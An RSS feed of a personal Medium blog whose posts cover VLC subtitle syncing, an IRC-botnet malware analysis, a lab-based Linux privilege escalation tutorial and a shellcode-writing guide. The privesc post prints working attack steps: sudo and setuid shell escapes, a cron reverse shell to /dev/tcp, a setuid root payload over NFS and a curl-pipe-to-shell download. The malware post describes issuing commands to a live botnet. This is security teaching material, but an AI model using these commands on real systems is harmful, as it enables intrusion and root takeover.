<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by muchi on Medium]]></title>
        <description><![CDATA[Stories by muchi on Medium]]></description>
        <link>https://medium.com/@muchiemma?source=rss-cc0ec97be21f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*oMBwub0fcElnBaCb</url>
            <title>Stories by muchi on Medium</title>
            <link>https://medium.com/@muchiemma?source=rss-cc0ec97be21f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 30 May 2026 16:47:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@muchiemma/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[How To Sync Subtitles in VLC]]></title>
            <link>https://medium.com/@muchiemma/how-to-sync-subtitles-in-vlc-cd98e790fc5a?source=rss-cc0ec97be21f------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd98e790fc5a</guid>
            <category><![CDATA[vlc]]></category>
            <category><![CDATA[vlc-media-player]]></category>
            <dc:creator><![CDATA[muchi]]></dc:creator>
            <pubDate>Tue, 06 Feb 2024 07:13:59 GMT</pubDate>
            <atom:updated>2024-02-06T07:14:25.618Z</atom:updated>
            <content:encoded><![CDATA[<p>Do you ever face issues where the subtitles of a video are out of sync with the actual content? It can be frustrating, especially when trying to enjoy a movie or a video tutorial. But fear not, there are simple ways to fix this without feeling like you’re manually adjusting everything.</p><h3>Quick Fixes with Shortcut Keys</h3><p>If you notice that the video and subtitles are not aligning properly, here are some quick shortcuts you can use:</p><h3>Voice Ahead of Subtitles</h3><p>F: Moves the audio track backward by 50ms</p><h3>Subtitles Ahead of Video:</h3><p>G: Moves the audio track forward by 50ms</p><p>While these shortcuts can be handy, they require constant manual adjustment, which can be tiresome.</p><h3>A Smarter Approach</h3><p>Instead of manually adjusting the synchronization, you can take a smarter approach:</p><h3>Identify Key Speaking Points:</h3><p>Open the subtitles document and note where the first person starts speaking. For instance, if the first person speaks at 00:53, take note of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7S4_dm1PlZgCSEcw" /></figure><h3>Find the Corresponding Video Time</h3><p>Next, open the video and locate where the first person starts speaking. For example, if it’s at the 00:38 time mark, make a note of that too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KOoJz8nAifNvy1Wi" /></figure><h3>Calculate the Discrepancy</h3><p>Now, it’s time for a little math. Subtract the video time from the subtitle starting time. In our example, it would be 00:38–00:53 = -00:15.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/0*rmYgE4y6jUCHWsr8" /></figure><h3>Utilize Track Synchronization Tools</h3><p>Most video players come equipped with track synchronization tools. Locate this feature in your player’s settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MEVv647NPBxsbAGM" /></figure><h3>Input the Discrepancy</h3><p>Input the calculated discrepancy (-00:15 in our example) into the track synchronization tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/0*phTqCtDUkZIjuC9V" /></figure><p>Apply and Enjoy: Apply the synchronization adjustment, close the settings, and voila! Your video and subtitles should now be perfectly aligned</p><h3>🍀 Good luck! 🌟 All the best! 🤞</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd98e790fc5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Malware Analysis By Exploring Malware Analysis with a Case Study: IRC Bot]]></title>
            <link>https://medium.com/@muchiemma/a-malware-analysis-case-study-irc-bot-investigation-32108c0200bb?source=rss-cc0ec97be21f------2</link>
            <guid isPermaLink="false">https://medium.com/p/32108c0200bb</guid>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[muchi]]></dc:creator>
            <pubDate>Wed, 25 Oct 2023 08:45:29 GMT</pubDate>
            <atom:updated>2024-02-06T07:20:49.779Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/318/0*xaxwXo8PDVY0frQf" /></figure><p>Hey there! I wanted to share some insights with you. On a malware analysis project, I had researched</p><h3>Setting Up the Sandbox Environment:</h3><p>Let’s kick things off by setting up a safe playground. We do this by installing Windows on a virtual machine, like VirtualBox or VMware. We then set up snapshots. This step is crucial, so we take an image of the system’s initial state. It helps us go back to how things were before or spot any changes the malware makes.</p><h3>Packer Detection:</h3><p>Next, we turn to a tool called PEiD, which helps us detect packers.</p><p>Think of a software packer as a magic tool for making computer programs smaller and harder to understand and it also makes it tricky for people to figure out what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/0*c6zrfChYN5MADais" /></figure><p>As you can see the malware is packed using UPX</p><h3>Unpacking the Malware:</h3><p>Upon identifying the packer as UPX, we proceed to unpack the malware using UPX, exposing the malware’s inner workings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*14IC5giz6zg6mtpD" /></figure><h3>Static Analysis:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*Oo-L1alFl2NSeWxO" /></figure><p>For static analysis, I started by using Oletools to examine the files.</p><p>We use OleTools to dig deeper into the sample. By looking at the commands the malware uses, we can get an idea of what it can do. We found out that the malware connects to the internet by checking the libraries it uses</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*uWsEGwpahpDd2KUw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*IKBt3OFa0ySfJ_Rf" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*89IliaOOciWNLHVA" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CvbZ1-kNqkVhL70H" /></figure><p>We looked at the libraries the malware uses using a powerful tool called PE Studio. It’s clear from our analysis that the malware connects to the internet.</p><p>Note: PEStudio is a super helpful tool for digging into software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ASmG3_S_6Ekm7tn5" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lBxtVFXdaKQLNEJL" /></figure><p>We used Wireshark to confirm the malware’s internet connection. This tool revealed that two files were downloaded, helping us understand the malware’s behaviour better.</p><p>Wireshark is like a detective tool for computer networks. It lets you watch and analyze the data moving between devices on the network. You can see what’s going in and out, kind of like peeking at the traffic on the internet highway. It’s useful for diagnosing network problems, checking for security issues, and understanding how data is flowing in your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*u9PhjYxhqF6P6K2B" /></figure><h3>Tracking IRC Communication:</h3><p>Digging even deeper into our investigation, we looked at the TCP chat between the malware and an IRC server. We spotted something interesting — a text message that mentioned “#malfor-bale,” showing that the malware was indeed connected to an IRC server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ff-OPKZmzCC5rAxa" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/0*CexaP4QTripJ6gpM" /></figure><h3>We have discovered an IRC botnet</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/0*sDXoSKdJ7w2G94xU" /></figure><p>IRC (Internet Relay Chat): Think of IRC like a very old-school and basic chatroom(message platform ) on the internet. People can join chat rooms, talk to each other, and exchange messages in real-time. It’s like a big online meeting place where you can chat with others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lWMNEF7AqZl6hZQb" /></figure><p>Botnet: A botnet is a group of computers that are controlled by one person, like an evil puppet master. Imagine they have a bunch of puppets (the computers) on strings, and they make these puppets do bad things. For example, they might tell the puppets to attack a website, send spam, or steal information.</p><p>A CNC (Command and Control) server: a computer or server that is used by puppet masters to remotely manage and control a network</p><p>IRC Botnet: An IRC botnet combines these two ideas. It’s like having a bunch of puppet computers that are all connected to a secret chat room on the internet (IRC). The puppet master uses this chatroom to control all the puppets and make them do bad stuff. It’s a way for them to coordinate and give orders to the infected computers, making it easier for them to carry out cybercrimes.</p><p>In short, an IRC botnet is a group of infected computers controlled through an old-style internet chatroom, used for doing harmful things like attacking websites or stealing data.</p><h3>Discovering the CNC Server:</h3><ul><li>We discovered that the service host was talking to a special server that gives commands (CNC server) to computers in that network. To connect to the chat server, we used the Irssi program, which helps us chat with the botnet’s chat server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qUiCtM5I0CgysC6_" /></figure><p>Finally, we took apart the computer program , enabling us to connect to IRC. This binary includes functions for interacting with the IRC server and executing commands, as demonstrated when we opened the calculator using the ‘exec’ command.</p><p>I decompiled it using Ghidra. Ghidra is a software that we use to reverse take apart programs and see how they run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/0*RDRdVgMtJ4Nnn5Kk" /></figure><p>Connects to IRC</p><p>Z9ircclient this function has functions that show us how to interact with the IRC server and to communicate with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/0*aSVfTdaRw2SoQ9Oh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/0*TDbJtJKyZcEeh67f" /></figure><p>The offset strings are the commands</p><p>Here in the example above we can see hello and exec</p><p>Using the exec command shown above I can execute the cmd command.so I opened the calculator app on all the bot’s computers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/0*w_ouEz6MSFiuTDHS" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PvHU1_lJZh6BVsNY" /></figure><p>I appreciate your time in reviewing this and I hope this case study provides valuable insights into the world of malware analysis.</p><p>Major props to my cyber comrade @shellawk for plugging me into that wicked malware! 🚀 also major shout out to my boy @kvltByte for reviewing the blog</p><p>Who needs pals when you’re rollin’ with an underground tech connection this lit? 😎💥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/0*Ao1o-IZwzQybxrt1" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32108c0200bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux privilege escalation]]></title>
            <link>https://medium.com/@muchiemma/linux-privilege-escalation-3fb61a09f7ba?source=rss-cc0ec97be21f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fb61a09f7ba</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[muchi]]></dc:creator>
            <pubDate>Mon, 24 Jul 2023 17:59:01 GMT</pubDate>
            <atom:updated>2023-07-31T05:59:32.645Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*eDJTXXf0YZtL0M8h" /></figure><p>Privilege escalation is where a computer user uses system flaws or configuration errors to gain access to other user accounts in a computer system. By acquiring other accounts they get to access more files and they can also run administrator commands.</p><h3>In privilege escalations, there are two types of privilege escalations</h3><p>1. Vertical privilege escalation.</p><p>2. Horizontal privilege escalation.</p><p>Vertical privilege escalation is where an attacker tries to access accounts with more permissions than the account they have. Most often attackers try to access accounts with administrator Privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/0*-8zLvxlxlERGIKnR" /></figure><p>Horizontal privilege escalation — this is where an attacker has access rights to another user who has the same level of access he or she has.</p><p>In Linux, one can do privilege escalation(privesc) by,</p><p>1. Kernel exploits flaws.</p><p>2. Programs that the user can sudo.</p><p>3. Programs with setuid bit on.</p><p>4. Limited capabilities.</p><p>5. Changing the cron jobs file.</p><p>6. Writable folders.</p><p>7. Exploiting Network File Sharing(NFS) .</p><p>There are automated tools to do privilege escalations like</p><p>LinPeas:</p><p><a href="https://github.com/carlospolop/PEASS-ng.git">GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)</a></p><p>LinEnum:</p><p><a href="https://github.com/rebootuser/LinEnum">GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration &amp; Privilege Escalation Checks</a></p><p>This tool does recon for you and shows you attack vectors that you can use to exploit the system and get root access or they can be used to run automatically and give you root permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e3N5CLzksrNH8rvP" /></figure><p>To run linpeas you run this command</p><pre>curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh</pre><p>What this does is that it will download the script and run it.</p><h3>1. kernel exploits</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/0*S6v8ah556qIaF_Aa" /></figure><p>The kernel is a computer program at the core of a computer’s operating system and generally has complete control over everything in the system. It is the portion of the operating system code that is always resident in memory and facilitates interactions between hardware and software components. The kernel is usually written in a low-level language like c thus one can use binary exploitation techniques to find flaws within it</p><p>Once the kernel error is found it is usually published and people write POC(proof of concept)</p><p>If you want to gain privilege escalation you can search for a POC using</p><pre>cat /proc/version<br>uname -a<br>searchsploit &quot;Linux Kernel version&quot; or search in google site:exploit-db.com &quot;Linux kernel version</pre><p>SearchSploit is a command-line search tool for Exploit-DB that allows you to take a copy of Exploit Database with you everywhere you go.</p><h3>2. programs that the user can sudo</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/0*KxZM_vQx5HOFoCGQ" /></figure><p>The “sudo -l” command is used to list the permissions or privileges that a user has when executing commands with “sudo” (Superuser Do). “sudo” is a command found in Unix-like operating systems that allows authorized users to execute commands with the privileges of the superuser (root), or another user as specified in the sudoers file.</p><p>When you run “sudo -l”, the system checks the sudoers file to determine what commands the current user is allowed to execute with elevated privileges. The sudoers file is typically located at “/etc/sudoers” or “/etc/sudoers.d/” and is usually edited with the “visudo” command, which provides a syntax check to prevent accidental errors.</p><p>The output of “sudo -l” will show a list of allowed commands or rules for the current user, which can include:</p><p>Specific commands: The user may have permission to run particular commands with elevated privileges. For example, the output may list commands like “sudo ls” or “sudo apt-get update.”</p><p>All commands: The user might have unrestricted access to execute any command with “sudo” privileges.</p><p>No commands: In some cases, the user might not have any “sudo” privileges, and the output will indicate that there are no allowed commands.</p><p>The purpose of “sudo -l” is to allow users to check their own sudo permissions without actually running any commands with elevated privileges. This is particularly useful for users to verify their level of access or when troubleshooting issues related to sudo permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/0*KF9LtQK_2J8D4ogc" /></figure><p>By running sudo -l we can see all the binaries a user can do. we first run sudo -l</p><p>Then we headed to *GTFO and search if one of the binaries can be used to maintain privilege</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><pre>$ sudo -l<br>Matching Defaults entries for karen on ip-10–10–148–237:<br>env_reset, mail_badpass,<br>secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br>User karen may run the following commands on ip-10–10–148–237:<br>(ALL) NOPASSWD: /usr/bin/find<br>(ALL) NOPASSWD: /usr/bin/less<br>(ALL) NOPASSWD: /usr/bin/nano</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/0*undka8G3SNnW9ZvA" /></figure><pre>karen@ip-10–10–58–234:/tmp/ldpreload$ whoami<br>karen<br>karen@ip-10–10–58–234:/tmp/ldpreload$ id<br>uid=1001(karen) gid=1001(karen) groups=1001(karen)<br>karen@ip-10–10–58–234:/tmp/ldpreload$ sudo find . -exec /bin/sh \; -quit<br># whoami<br>root<br># id<br>uid=0(root) gid=0(root) groups=0(root)</pre><h3>3. programs with setuid bit on</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*i_EE3VkXgYDuLIYE" /></figure><p>The setuid bit is a permission bit that allows the users to run an executable with the file system permissions of the executable’s owner or group respectively and to change behavior in directories. It is often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/0*E0Un7SPGfP94jun8" /></figure><p>We run the command</p><pre>find / -type f -perm -04000 -ls 2&gt;/dev/null</pre><p>To detect binaries that have the suid bit on, then we check in gtfobins.github.io</p><p>If the binary can lead to a privilege escalation</p><pre>1857 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh<br>1722 44 -rwsr-xr-x 1 root root 43352 Sep 5 2019 /usr/bin/base64<br>1674 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*hYancme6jmkUggEF" /></figure><pre>karen@ip-10–10–181–108:/tmp$ base64 /etc/passwd | base64 - decode<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin</pre><h3>4. Limited capabilities</h3><p>This occurs when an administrator raises the permission of a binary using the getcap tool.</p><p>We search for this flaw using getcap.</p><pre>getcap -r / 2&gt;/dev/null</pre><p>After running getcap -r check the binaries that can be exploited</p><pre>karen@ip-10–10–91–51:~$ getcap -r / 2&gt;/dev/null<br>/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>/usr/bin/mtr-packet = cap_net_raw+ep<br>/usr/bin/ping = cap_net_raw+ep<br>/home/karen/vim = cap_setuid+ep<br>/home/ubuntu/view = cap_setuid+ep</pre><p>In the above example, we can see that vim is also listed so we search for our good old friend GTFObins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*p4WQHkA73-LvGFP4" /></figure><p>And by running</p><pre>vim -c `:py3 import os; os.setuid(0); os.excel(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;</pre><p>We get an elevated shell</p><h3>5. changing the cron jobs file.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*_ef10nKUwCEaqeWE" /></figure><p>Cron is a command-line utility that is used to create job scheduling in Linux. It is used to automate tasks</p><p>We first check for the crontab config in</p><pre>/etc/crontab<br></pre><p>Below is a crontab log</p><pre>$ id<br>uid=1001(karen) gid=1001(karen) groups=1001(karen)<br><br><br></pre><pre>karen@ip-10–10–23–186:~$ cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br># Example of job definition:<br># . - - - - - - - - minute (0–59)<br># | . - - - - - - - hour (0–23)<br># | | . - - - - - day of month (1–31)<br># | | | . - - - - month (1–12) OR jan,feb,mar,apr …<br># | | | | . - - day of week (0–6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># | | | | |<br># * * * * * user-name command to be executed<br>17 * * * * root cd / &amp;&amp; run-parts - report /etc/cron.hourly<br>25 6 * * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts - report /etc/cron.daily )<br>47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts - report /etc/cron.weekly )<br>52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts - report /etc/cron.monthly )<br>#<br>* * * * * root /antivirus.sh<br>* * * * * root antivirus.sh<br>* * * * * root /home/karen/backup.sh<br>* * * * * root /tmp/test.p</pre><p>We first check /karen/backup.sh</p><pre>karen@ip-10–10–23–186:~$ ls -lh /home/karen/<br>total 4.0K<br>-rw-r - r - 1 karen karen 77 Jun 20 10:21 backup.sh<br>karen@ip-10–10–23–186:~$ cat backup.sh<br>#!/bin/bash<br>cd /home/admin/1/2/3/Results<br>zip -r /home/admin/download.zip ./*</pre><p>We first modify /Karen/backup.sh since we have permission</p><p>And we make it return to us a reverse shell</p><pre>$ mv backup.sh backup.sh.bkup<br>$ touch backup.sh<br>$ vim backup.sh<br># Insert this line with your IP in the script:<br>bash -i &gt;&amp; /dev/tcp/your-ip/6666 0&gt;&amp;1</pre><p>And then we set up a listener that the box can connect back to us</p><pre>$ nc -lvp 6666<br>listening on [any] 6666 …<br>10.10.23.186: inverse host lookup failed: Unknown host<br>connect to [1.2.3.4] from (UNKNOWN) [10.10.23.186] 49878<br>bash: cannot set terminal process group (13249): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@ip-10–10–23–186:~#</pre><p>And that is how you get a shell using crontab</p><h3>6 Exploiting the Network File Sharing Protocol (NFS)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*7aYkD8bsUPJ1_vbA" /></figure><p>Network File Sharing (NFS) is a protocol that allows you to share directories and files with other Linux clients over a network.</p><p>We first check /etc/exports for the config file.</p><pre>karen@ip-10–10–242–200:/$ cat /etc/exports<br># /etc/exports: the access control list for file systems which may be exported<br># to NFS clients. See exports(5).<br>#<br># Example for NFSv2 and NFSv3:<br># /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)<br>#<br># Example for NFSv4:<br># /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)<br># /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)<br>/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)<br>/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)<br>/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)</pre><p>We note that /etc/exports file has files with no_root_squash this means that files can be created with root permission.</p><p>So using the attacker’s machine we access the victim’s machine</p><p>Using these commands</p><p>Show mount to see mounted files.</p><pre>$ showmount -e 10.10.242.200<br>Export list for 10.10.242.200:<br>/home/ubuntu/sharedfolder *<br>/tmp *<br>/home/backup *</pre><p>We then create a folder to mount the file then connect it to the victim NFS</p><pre>$ mkdir /tmp/sharedfolder<br>$ mount -o rw 10.10.242.200:/home/ubuntu/sharedfolder /tmp/sharedfolder</pre><p>We then create a payload. It’s important that while creating the payload we ensure that. We set user id to 0 and group id to 0, fail to do this and the shell will revert to user from the root user account.</p><p>User id 0 belongs to the root user account.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>int main()<br>{<br>setgid(0);<br>setuid(0);<br>system(&quot;/bin/bash&quot;);<br>return 0;<br>}</pre><p>We then compile it and assign a suid bit and run it</p><pre>$ gcc main.c -o pwned -w<br>$ sudo chmod 777 /tmp/sharedfolder/pwned<br>$ sudo chmod +s /tmp/sharedfolder/pwned<br>karen@ip-10–10–242–200:/home/ubuntu/sharedfolder$ whoami<br>karen<br>karen@ip-10–10–242–200:/home/ubuntu/sharedfolder$ id<br>uid=1001(karen) gid=1001(karen) groups=1001(karen)<br>karen@ip-10–10–242–200:/home/ubuntu/sharedfolder$ ls -lh<br>total 16K<br>-rwsr-sr-x 1 root root 16K Nov 11 12:44 pwned<br>karen@ip-10–10–242–200:/home/ubuntu/sharedfolder$ ./pwned<br>root@ip-10–10–242–200:/home/ubuntu/sharedfolder#</pre><p>if you enjoyed my blog you can check out my boys blog at</p><p><a href="https://trustie.medium.com/">trustie_rity - Medium</a></p><p>to practice linux privesc go to</p><p><a href="https://tryhackme.com/module/privilege-escalation">Privilege Escalation</a></p><p>References:</p><ul><li><a href="https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html">https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html</a></li><li><a href="https://cloud.netapp.com/blog/azure-anf-blg-linux-nfs-server-how-to-set-up-server-and-client#:~:text=Network%20File%20Sharing%20(NFS)%20is,have%20access%20to%20the%20folder">https://cloud.netapp.com/blog/azure-anf-blg-linux-nfs-server-how-to-set-up-server-and-client#:~:text=Network%20File%20Sharing%20(NFS)%20is,have%20access%20to%20the%20folder</a>.</li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md</a></li><li><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation">https://book.hacktricks.xyz/linux-unix/privilege-escalation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fb61a09f7ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Write Shellcode for Shellcode Injection and Simplify Assembly Code Development]]></title>
            <link>https://medium.com/@muchiemma/how-to-write-shellcode-for-shellcode-injection-and-simplify-assembly-code-development-703c3f214c46?source=rss-cc0ec97be21f------2</link>
            <guid isPermaLink="false">https://medium.com/p/703c3f214c46</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[assembly]]></category>
            <dc:creator><![CDATA[muchi]]></dc:creator>
            <pubDate>Thu, 13 Jul 2023 04:00:26 GMT</pubDate>
            <atom:updated>2023-07-17T11:22:33.056Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*qmQmQS-MBJyAaazuQ7eLoA.jpeg" /></figure><p>Shellcode injection is a powerful technique that allows the injection and execution of custom code within a target process. In this blog post, we’ll explore different approaches to writing shellcode and discuss methods to streamline the development of assembly code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*8ixpJ-REvAzKyNliJfcamg.jpeg" /></figure><h3>way one</h3><h3>The Power of Pwntools: Crafting Shellcode with Python</h3><p>One of the easiest ways to write shellcode is by using the Python library called pwntools. Pwntools provides a rich set of features to simplify exploit development, including a module called shellcraft, which helps in crafting shellcode for various operations.</p><p>Here’s an example of using pwntools and shellcraft to generate shellcode that reads and prints the contents of the “/flag” file:</p><p><em>from pwn import *<br>context.update(arch=”amd64&quot;)<br>pay=(asm(shellcraft.cat(‘/flag’)))<br>print(pay)</em></p><p>By leveraging pwntools and shellcraft, you can easily generate shellcode for different operations, such as file manipulation, network communication, or privilege escalation.</p><p>Hold up!!! That’s not the end, some of us do not want peace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*ji4v9H7jKtAWEEHHQaBlCg.jpeg" /></figure><p>all in all its best to have multiple ways to do things since you may want a functionality that is not implemented by pwn tools</p><h3>way two</h3><h3>Hard coding Assembly: Fine-grained Control and Understanding</h3><h4>directly hard code it using assembly like the chad you are</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*vpLZn9AJMNwjcEugQzaokw.jpeg" /></figure><p>For those seeking more control and a deeper understanding of the inner workings of shellcode, hard coding assembly instructions can be a viable approach. Let’s take a closer look at the assembly code for opening, reading, and writing a file using the x86_64 architecture:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*g0_4NLxQKgBuxjUogJSqTg.png" /></figure><p>By directly working with assembly code, you have fine-grained control over the instructions and thus you can better understand the interactions between the operating system and your code.</p><p>save the file as a as a dot .s file eg thanks for readintheblog.s then compile it with the -nostdlib flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*6QnYc0V417BnsGov4BgWVg.png" /></figure><p>though assembly is for chads it lacks documentation</p><p>the best documentation out there are x86_64 syscall tables</p><p><a href="https://x64.syscall.sh/">https://x64.syscall.sh/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7g_LWTAHLN2_2o9n.png" /></figure><p>flags/arguments to call functions in assembly are not clear and concise. That is why we have to be smart the smartest way to move is by the use of c and yes you do not need to learn programming to be a hacker.</p><h3>part way 3 and way 4</h3><h3>Using C to Implement Binary: Streamlining the Process</h3><p>While writing shellcode in assembly can be powerful, it can also be time-consuming. A more efficient approach is to leverage the capabilities of C programming to implement shellcode using system calls. The POSIX standard provides a common interface for system calls across different Unix-like operating systems.</p><p>we will be using the posix standard since it is a standard that is followed by all who want to interact with the kernel</p><p>the definition by chat gpt is that posix is</p><pre>POSIX stands for &quot;Portable Operating System Interface.&quot; It is a set of standards that define the application programming interface (API), shell interface, and utility interfaces for software compatibility between different Unix-like operating systems. POSIX-compliant systems provide a common framework for developing and executing software, allowing programs written for one POSIX-compliant operating system to run on another without significant modifications.</pre><p>this is how you implement it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*PKUt_3YkhU888G_q.png" /></figure><p>after compiling you can get the assembly code by running objdump on the compiled binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*xcAtC8FoKCnIXjoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A4uMfef2lTO3Z8tB.png" /></figure><p>as you can see in the photo above the registers match apart from the <strong>rax</strong> register.</p><p>From the compiled binary you just replace call command with syscall and the <strong>eax/rax</strong> register with the call number by doing this you save yourself a lot of time reading man pages</p><p><strong>The fourth</strong></p><p>the easiest way to do this is by using a direct syscall in c eg</p><pre>#include &lt;sys/fcntl.h&gt;<br>#include &lt;sys/unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>// #include &lt;sys/syscall.h&gt;<br><br>#define BUFSIZE 4096<br><br><br>void main(){<br>char buffer[BUFSIZE];<br>ssize_t bytesRead;<br>ssize_t bytesWritten;<br>int fd;<br>fd=syscall(SYS_open,&quot;/flag&quot;,O_RDONLY);<br>bytesRead = syscall(SYS_read, fd, buffer, BUFSIZE);<br>bytesWritten = syscall(SYS_write, STDOUT_FILENO, buffer, bytesRead);<br>syscall(SYS_close, fd);<br>}</pre><p>the assembly code generated looks like this</p><figure><img alt="" 